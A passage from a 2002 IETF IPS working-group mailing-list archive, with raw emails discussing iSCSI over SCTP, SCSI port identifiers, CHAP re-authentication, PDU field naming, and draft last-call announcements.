should result in a visible simplification of error > > recovery. > > - Unless SCTP has changed to allow load balancing as part of > > its multi-homing/failover support, iSCSI sessions will > > need to support multiple SCTP sessions per connection > > for load balancing. > > - SCTP's ability to avoid head-of-line blocking should be useful > > when immediate delivery of iSCSI commands is requested. > > > > Enjoy, > > --David > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 > From owner-ips@ece.cmu.edu Wed Aug 28 11:55:46 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06091 for ; Wed, 28 Aug 2002 11:55:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SFPbh25337 for ips-outgoing; Wed, 28 Aug 2002 11:25:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mailhub.lss.emc.com (xdch.emc.com [168.159.1.79]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SFPRo25323 for ; Wed, 28 Aug 2002 11:25:27 -0400 (EDT) Received: from emc.com (emcmail.lss.emc.com [168.159.48.78]) by mailhub.lss.emc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g7SFPDW24088; Wed, 28 Aug 2002 11:25:13 -0400 (EDT) Received: from mxic1.isus.emc.com ([168.159.129.100]) by emc.com (8.10.1/8.10.1) with ESMTP id g7SFPC722137; Wed, 28 Aug 2002 11:25:13 -0400 (EDT) Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Wed, 28 Aug 2002 11:25:12 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C228@CORPMX14> From: Black_David@emc.com To: luben@splentec.com Cc: ips@ece.cmu.edu Subject: RE: SCSI Target Port Name/Identifier and VPD Identifier type Date: Wed, 28 Aug 2002 11:25:09 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Luben, I checked with a "usually reliable" T10 source and got the following back: For this particular proposal, I really haven't seen a need. The port is identified on the iSCSI layer where it really matters. In inquiry, the only relevant information (in my opinion) is LU identifier [...snip...] [but] the logical unit doesn't really have a good view of the ports (particularly when the LU is accessible through more than one device (which is what gateways create)). So, it doesn't really make sense to ask the LU about its ports. A more rational approach is to define a Well-known LU (a device level object) whose job is to report on the physical topology of its ports. For iSCSI, that is already available through SendTargets. I suggest approaching T10 directly to continue this discussion. T10 is an open organization that welcomes the participation of all (although T10 does charge membership fees). Contact Elizabeth or myself directly if you need/want help or advice in approaching/working with T10. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Luben Tuikov [mailto:luben@splentec.com] > Sent: Tuesday, August 27, 2002 7:52 PM > To: David Black; Julian Satran > Cc: iSCSI > Subject: SCSI Target Port Name/Identifier and VPD Identifier type > > > David, Julian, > > There appears to be no appropriate Identifier Type > (Table 268, SPC-3, r8) which can report the SCSI > Target Port Identifier/Name. > > I've communicated this with the T10 people and > they suggested that an iSCSI person bring in a proposal > for a new identifier type that would handle iSCSI name > requirements. > > Please keep me posted on this, > -- > Luben > > P.S. Size requirements are to be handled by T10 document > 02-303r0. > From owner-ips@ece.cmu.edu Wed Aug 28 13:39:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA10927 for ; Wed, 28 Aug 2002 13:39:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SGubn01809 for ips-outgoing; Wed, 28 Aug 2002 12:56:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from homer.qlogic.org ([198.70.192.131]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SGuZo01805 for ; Wed, 28 Aug 2002 12:56:35 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: does iSCSI support CHAP challenges at random intervals? Date: Wed, 28 Aug 2002 09:56:44 -0700 Message-ID: <2A8D600C919D2D41A3DAA2D2FEC7171401A939@homer.qlogic.org> Thread-Topic: does iSCSI support CHAP challenges at random intervals? Thread-Index: AcJOs+YtJXoWLLnaEdaKsgBQ2thomQ== From: "Dean Scoville" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id g7SGuZo01806 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit The CHAP RFC (RFC 1994) allows the authenticator to send a new challenge to the peer at random intervals. I don't see any mention of this in the IPS Security document or the iSCSI Draft. In the iSCSI Draft, the CHAP keys are discussed in section 10 with regard to the Security Stage of Login, but are not mentioned in full feature phase. As far as iSCSI is concerned, is CHAP authentication a one-time occurance during login, or are new challenges also allowed/expected at random intervals during the life of the connection? If re-authentication is allowed, then an example would be helpful in the text (target initiates authentication via async msg requesting parameter negotiation, then issues CHAP_I CHAP_C challenge in response to empty text request pdu; or initiator initiates authentication via text request containing CHAP_A key, etc...). If it is not allowed, perhaps we should explicitly state this in the iSCSI draft and/or IPS Security document, since it is a difference betwee! n iSCSI usage of CHAP and that allowed by the RFC. thanks, Dean Scoville QLogic From owner-ips@ece.cmu.edu Wed Aug 28 13:39:28 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA10946 for ; Wed, 28 Aug 2002 13:39:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SHGZQ03296 for ips-outgoing; Wed, 28 Aug 2002 13:16:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.54]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SHGXo03291 for ; Wed, 28 Aug 2002 13:16:33 -0400 (EDT) Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.151]) by sj-msg-core-4.cisco.com (8.12.2/8.12.2) with ESMTP id g7SHGQW4002330; Wed, 28 Aug 2002 10:16:26 -0700 (PDT) Received: from nisser.cisco.com (localhost [127.0.0.1]) by sj-msg-av-1.cisco.com (8.12.2/8.12.2) with ESMTP id g7SHGP4H005312; Wed, 28 Aug 2002 10:16:25 -0700 (PDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [64.101.211.87]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id KAA06280; Wed, 28 Aug 2002 10:16:22 -0700 (PDT) Message-ID: <3D6D09BE.1805DB55@cisco.com> Date: Wed, 28 Aug 2002 12:34:54 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Dean Scoville CC: ips@ece.cmu.edu Subject: Re: does iSCSI support CHAP challenges at random intervals? References: <2A8D600C919D2D41A3DAA2D2FEC7171401A939@homer.qlogic.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Dean- Re-authenticating a connection using CHAP is not allowed in iSCSI. However, the same thing can be accomplished by doing a relogin. If an initiator wants to re-authenticate, it can open a new iSCSI connection to replace the old one, then phase out the old one. If a target wants to re-authenticate, it can use the async message to request that the initiator log out of the connection within a certain period of time. This will work differently depending on whether single- or multiple- connection sessions are supported, but (at least with disk) can be made to work well in both cases. - Mark Dean Scoville wrote: > > The CHAP RFC (RFC 1994) allows the authenticator to send a new challenge to the peer at random intervals. I don't see any mention of this in the IPS Security document or the iSCSI Draft. In the iSCSI Draft, the CHAP keys are discussed in section 10 with regard to the Security Stage of Login, but are not mentioned in full feature phase. As far as iSCSI is concerned, is CHAP authentication a one-time occurance during login, or are new challenges also allowed/expected at random intervals during the life of the connection? If re-authentication is allowed, then an example would be helpful in the text (target initiates authentication via async msg requesting parameter negotiation, then issues CHAP_I CHAP_C challenge in response to empty text request pdu; or initiator initiates authentication via text request containing CHAP_A key, etc...). If it is not allowed, perhaps we should explicitly state this in the iSCSI draft and/or IPS Security document, since it is a difference betw! ee! > n iSCSI usage of CHAP and that allowed by the RFC. > thanks, > Dean Scoville > QLogic -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Aug 28 15:54:17 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16155 for ; Wed, 28 Aug 2002 15:54:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SJ8ui11538 for ips-outgoing; Wed, 28 Aug 2002 15:08:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from AVEXCH01.qlogic.org ([198.70.193.2]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SJ8po11523 for ; Wed, 28 Aug 2002 15:08:52 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: ExpDataSN in Response PDU Date: Wed, 28 Aug 2002 12:08:56 -0700 Message-ID: Thread-Topic: IPS and SCTP Thread-Index: AcJOHCJehC38xHIOS366qmH3L+M7VgAptA+g From: "Chuck Micalizzi" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id g7SJ8qo11524 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Julian, Can we rename the ExpDataSN field in the Response PDU? Since the addition of data sequences the ExpDataSN (in my opinion) is not an accurate title for this field. 9.4.8 ExpDataSN The number of Data-In (read) PDUs the target has sent for the command... Prior to the addition of data sequences it made sense that the total DataIn PDU count was the same as the ExpDataSN. But since sequences require the DataSN to be reset at the start of a sequence the total Data-In PDU count may not equal ExpDataSN. chuck From owner-ips@ece.cmu.edu Wed Aug 28 18:29:25 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22591 for ; Wed, 28 Aug 2002 18:29:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SLhe621984 for ips-outgoing; Wed, 28 Aug 2002 17:43:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SLhbo21975 for ; Wed, 28 Aug 2002 17:43:37 -0400 (EDT) Received: from hq-ex-c3.brocade.com (hq-ex-c3 [192.168.126.211]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id OAA18247 for ; Wed, 28 Aug 2002 14:43:31 -0700 (PDT) Received: by hq-ex-c3.brocade.com with Internet Mail Service (5.5.2653.19) id ; Wed, 28 Aug 2002 14:43:30 -0700 Message-ID: From: Elizabeth Rodriguez To: ips@ece.cmu.edu Subject: IPS-All: WG Last Call on "Bootstrapping Clients using the iSCSI Protocol" Date: Wed, 28 Aug 2002 14:43:29 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24EDB.F294D640" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24EDB.F294D640 Content-Type: text/plain; charset="iso-8859-1" All, We would like to announce IPS WG last call on the draft "Bootstrapping Clients using the iSCSI Protocol". The last call period is for two weeks, ending at 5pm EST on Thursday, September 12. Editorial comments may be directly sent to the editor/authors of the document -- with copy to myself [erodrigu@brocade.com], David Black [black_david@emc.com] and John Hufferd [hufferd@us.ibm.com] Technical comments should be sent to the IPS mailing list for discussion. Summary: Draft: Bootstrapping Clients using the iSCSI Protocol URL: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-boot-06.txt Period: 2 weeks, ending at 5pm Thursday, Sept 12 Editor: Prasenjit Sarkar [psarkar@almaden.ibm.com] Authors: Prasenjit Sarkar [psarkar@almaden.ibm.com] Constantine Sapuntzakis [csapuntz@cisco.com] Duncan Missimer [dmissimer@rhapsodynetworks.com] TC: John Hufferd [hufferd@us.ibm.com] Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs ------_=_NextPart_001_01C24EDB.F294D640 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPS-All: WG Last Call on "Bootstrapping Clients using the = iSCSI Protocol"

All,

We would like to announce IPS WG last call on the = draft "Bootstrapping Clients using the iSCSI = Protocol".
The last call period is for two weeks, ending at 5pm = EST on Thursday, September 12.

Editorial comments may be directly sent to the = editor/authors of the document --
with copy to myself [erodrigu@brocade.com], David = Black [black_david@emc.com] and John Hufferd = [hufferd@us.ibm.com]

Technical comments should be sent to the IPS mailing = list for discussion.

Summary:
Draft:  =         Bootstrapping Clients using = the iSCSI Protocol
URL:    =         http://www.ietf.org/internet-drafts/draft-ietf-ips-isc= si-boot-06.txt
Period: 2 weeks, ending at 5pm Thursday, Sept = 12
Editor: Prasenjit Sarkar = [psarkar@almaden.ibm.com]
Authors:        = Prasenjit Sarkar [psarkar@almaden.ibm.com]
        =         Constantine = Sapuntzakis [csapuntz@cisco.com]
        =         Duncan = Missimer [dmissimer@rhapsodynetworks.com]
TC:     =         John Hufferd = [hufferd@us.ibm.com]

Thanks,

Elizabeth Rodriguez & David Black,
IPS co-chairs

------_=_NextPart_001_01C24EDB.F294D640-- From owner-ips@ece.cmu.edu Wed Aug 28 18:29:38 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22605 for ; Wed, 28 Aug 2002 18:29:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7SLpeF22408 for ips-outgoing; Wed, 28 Aug 2002 17:51:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hammer.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7SLpbo22400 for ; Wed, 28 Aug 2002 17:51:37 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2.brocade.com [192.168.126.35]) by hammer.brocade.com (8.11.3/8.11.3) with ESMTP id g7SLpWO28061 for ; Wed, 28 Aug 2002 14:51:32 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Wed, 28 Aug 2002 14:51:31 -0700 Message-ID: From: Elizabeth Rodriguez To: ips@ece.cmu.edu Subject: IPS-All: WG Last Call on "iSCSI Naming and Discovery" Date: Wed, 28 Aug 2002 14:51:31 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24EDD.120FCEC0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24EDD.120FCEC0 Content-Type: text/plain; charset="iso-8859-1" All, We would like to announce IPS WG last call on the draft "iSCSI Naming and Discovery ". The last call period is for two weeks, ending at 5pm EST on Thursday, September 12. Editorial comments may be directly sent to the editor/authors of the document -- with copy to myself [erodrigu@brocade.com], David Black [black_david@emc.com] and John Hufferd [hufferd@us.ibm.com] Technical comments should be sent to the IPS mailing list for discussion. Summary: Draft: iSCSI Naming and Discovery URL: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-name-disc-06.txt Period: 2 weeks, ending at 5pm Thursday, Sept 12 Editor: Mark Bakke [mbakke@cisco.com] Authors: Mark Bakke [mbakke@cisco.com] Jim Hafner [hafner@almaden.ibm.com] John Hufferd [hufferd@us.ibm.com] Kaladhar Voruganti [kaladhar@us.ibm.com] Marjorie Krueger [marjorie_krueger@hp.com] TC: John Hufferd [hufferd@us.ibm.com] Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs ------_=_NextPart_001_01C24EDD.120FCEC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPS-All: WG Last Call on "iSCSI Naming and = Discovery"

All,

We would like to announce IPS WG last call on the = draft "iSCSI Naming and Discovery ".
The last call period is for two weeks, ending at 5pm = EST on Thursday, September 12.

Editorial comments may be directly sent to the = editor/authors of the document --
with copy to myself [erodrigu@brocade.com], David = Black [black_david@emc.com] and John Hufferd = [hufferd@us.ibm.com]

Technical comments should be sent to the IPS mailing = list for discussion.

Summary:
Draft:  =         iSCSI Naming and Discovery =

URL:    =         http://www.ietf.org/internet-drafts/draft-ietf-ips-isc= si-name-disc-06.txt
Period: 2 weeks, ending at 5pm Thursday, Sept = 12
Editor: Mark Bakke [mbakke@cisco.com]
Authors:        = Mark Bakke [mbakke@cisco.com]
        =         Jim Hafner = [hafner@almaden.ibm.com]
        =         John Hufferd = [hufferd@us.ibm.com]
        =         Kaladhar = Voruganti [kaladhar@us.ibm.com]
        =         Marjorie = Krueger [marjorie_krueger@hp.com]
TC:     =         John Hufferd = [hufferd@us.ibm.com]

Thanks,

Elizabeth Rodriguez & David Black,
IPS co-chairs


------_=_NextPart_001_01C24EDD.120FCEC0-- From owner-ips@ece.cmu.edu Thu Aug 29 02:42:56 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11901 for ; Thu, 29 Aug 2002 02:42:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7T5p8g11738 for ips-outgoing; Thu, 29 Aug 2002 01:51:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7T5p5o11729; Thu, 29 Aug 2002 01:51:05 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7T5orVb049856; Thu, 29 Aug 2002 07:50:53 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7T5oqWW117214; Thu, 29 Aug 2002 07:50:53 +0200 To: "Dean Scoville" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: does iSCSI support CHAP challenges at random intervals? X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Thu, 29 Aug 2002 08:50:50 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 29/08/2002 08:50:52, Serialize complete at 29/08/2002 08:50:52 Content-Type: multipart/alternative; boundary="=_alternative 002015BFC2256C24_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 002015BFC2256C24_= Content-Type: text/plain; charset="us-ascii" No - reauthentication was not considered. Julo "Dean Scoville" Sent by: owner-ips@ece.cmu.edu 28/08/02 19:56 To: cc: Subject: does iSCSI support CHAP challenges at random intervals? The CHAP RFC (RFC 1994) allows the authenticator to send a new challenge to the peer at random intervals. I don't see any mention of this in the IPS Security document or the iSCSI Draft. In the iSCSI Draft, the CHAP keys are discussed in section 10 with regard to the Security Stage of Login, but are not mentioned in full feature phase. As far as iSCSI is concerned, is CHAP authentication a one-time occurance during login, or are new challenges also allowed/expected at random intervals during the life of the connection? If re-authentication is allowed, then an example would be helpful in the text (target initiates authentication via async msg requesting parameter negotiation, then issues CHAP_I CHAP_C challenge in response to empty text request pdu; or initiator initiates authentication via text request containing CHAP_A key, etc...). If it is not allowed, perhaps we should explicitly state this in the iSCSI draft and/or IPS Security document, since it is a difference betwee! n iSCSI usage of CHAP and that allowed by the RFC. thanks, Dean Scoville QLogic --=_alternative 002015BFC2256C24_= Content-Type: text/html; charset="us-ascii"
No - reauthentication was not considered.  Julo


"Dean Scoville" <dean.scoville@qlogic.com>
Sent by: owner-ips@ece.cmu.edu

28/08/02 19:56

       
        To:        <ips@ece.cmu.edu>
        cc:        
        Subject:        does iSCSI support CHAP challenges at random intervals?

       


The CHAP RFC (RFC 1994) allows the authenticator to send a new challenge to the peer at random intervals. I don't see any mention of this in the IPS Security document or the iSCSI Draft. In the iSCSI Draft, the CHAP keys are discussed in section 10 with regard to the Security Stage of Login, but are not mentioned in full feature phase.  As far as iSCSI is concerned, is CHAP authentication a one-time occurance during login, or are new challenges also allowed/expected at random intervals during the life of the connection? If re-authentication is allowed, then an example would be helpful in the text (target initiates authentication via async msg requesting parameter negotiation, then issues CHAP_I CHAP_C challenge in response to empty text request pdu; or initiator initiates authentication via text request containing CHAP_A key, etc...). If it is not allowed, perhaps we should explicitly state this in the iSCSI draft and/or IPS Security ! document, since it is a difference betwee!
n iSCSI usage of CHAP and that allowed by the RFC.
thanks,
Dean Scoville
QLogic

--=_alternative 002015BFC2256C24_=-- From owner-ips@ece.cmu.edu Thu Aug 29 02:45:42 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11928 for ; Thu, 29 Aug 2002 02:45:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7T61uE12084 for ips-outgoing; Thu, 29 Aug 2002 02:01:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7T61so12078; Thu, 29 Aug 2002 02:01:54 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7T61lVb046062; Thu, 29 Aug 2002 08:01:47 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7T61klA123940; Thu, 29 Aug 2002 08:01:46 +0200 To: "Chuck Micalizzi" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: ExpDataSN in Response PDU X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Thu, 29 Aug 2002 09:01:43 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 29/08/2002 09:01:46, Serialize complete at 29/08/2002 09:01:46 Content-Type: multipart/alternative; boundary="=_alternative 0020CD2CC2256C24_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0020CD2CC2256C24_= Content-Type: text/plain; charset="us-ascii" Chuck, Sorry - ay too late for a field name change. It may be a bit misleading in the response but it is in the position held by ExpDataSN in other PDUs and it is the total number of Data-In PDUs. Data-In PDUs are not counted separately per sequence! Julo "Chuck Micalizzi" Sent by: owner-ips@ece.cmu.edu 28/08/02 22:08 To: cc: Subject: ExpDataSN in Response PDU Julian, Can we rename the ExpDataSN field in the Response PDU? Since the addition of data sequences the ExpDataSN (in my opinion) is not an accurate title for this field. 9.4.8 ExpDataSN The number of Data-In (read) PDUs the target has sent for the command... Prior to the addition of data sequences it made sense that the total DataIn PDU count was the same as the ExpDataSN. But since sequences require the DataSN to be reset at the start of a sequence the total Data-In PDU count may not equal ExpDataSN. chuck --=_alternative 0020CD2CC2256C24_= Content-Type: text/html; charset="us-ascii"
Chuck,

Sorry - ay too late for a field name change.  It may be a bit misleading in the response but it is in the position held by ExpDataSN in other PDUs and it
is the total number of  Data-In PDUs. Data-In PDUs are not counted separately per sequence!

Julo


"Chuck Micalizzi" <chuck.micalizzi@qlogic.com>
Sent by: owner-ips@ece.cmu.edu

28/08/02 22:08

       
        To:        <ips@ece.cmu.edu>
        cc:        
        Subject:        ExpDataSN in Response PDU

       


Julian,
               
   Can we rename the ExpDataSN field in the Response PDU?
   
   Since the addition of data sequences the ExpDataSN (in my
   opinion) is not an accurate title for this field.

   9.4.8 ExpDataSN
   The number of Data-In (read) PDUs the target has sent
   for the command...

   Prior to the addition of data sequences it made sense that
   the total DataIn PDU count was the same as the ExpDataSN. But
   since sequences require the DataSN to be reset at the start of
   a sequence the total Data-In PDU count may not equal ExpDataSN.

chuck

--=_alternative 0020CD2CC2256C24_=-- From owner-ips@ece.cmu.edu Thu Aug 29 10:31:25 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA24019 for ; Thu, 29 Aug 2002 10:31:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7TDFkZ10418 for ips-outgoing; Thu, 29 Aug 2002 09:15:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7TBkAo06082 for ; Thu, 29 Aug 2002 07:46:10 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA16642; Thu, 29 Aug 2002 07:44:24 -0400 (EDT) Message-Id: <200208291144.HAA16642@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-fcovertcpip-12.txt,.pdf Date: Thu, 29 Aug 2002 07:44:22 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Fibre Channel Over TCP/IP (FCIP) Author(s) : M. Rajagopal, E. Rodriguez, R. Weber Filename : draft-ietf-ips-fcovertcpip-12.txt,.pdf Pages : 68 Date : 2002-8-28 Fibre Channel Over TCP/IP (FCIP) describes mechanisms that allow the interconnection of islands of Fibre Channel storage area networks over IP-based networks to form a unified storage area network in a single Fibre Channel fabric. FCIP relies on IP-based network services to provide the connectivity between the storage area network islands over local area networks, metropolitan area networks, or wide area networks. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-fcovertcpip-12.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-fcovertcpip-12.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-fcovertcpip-12.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-8-28160306.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-fcovertcpip-12.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-fcovertcpip-12.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-8-28160306.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Thu Aug 29 11:19:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26442 for ; Thu, 29 Aug 2002 11:19:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu 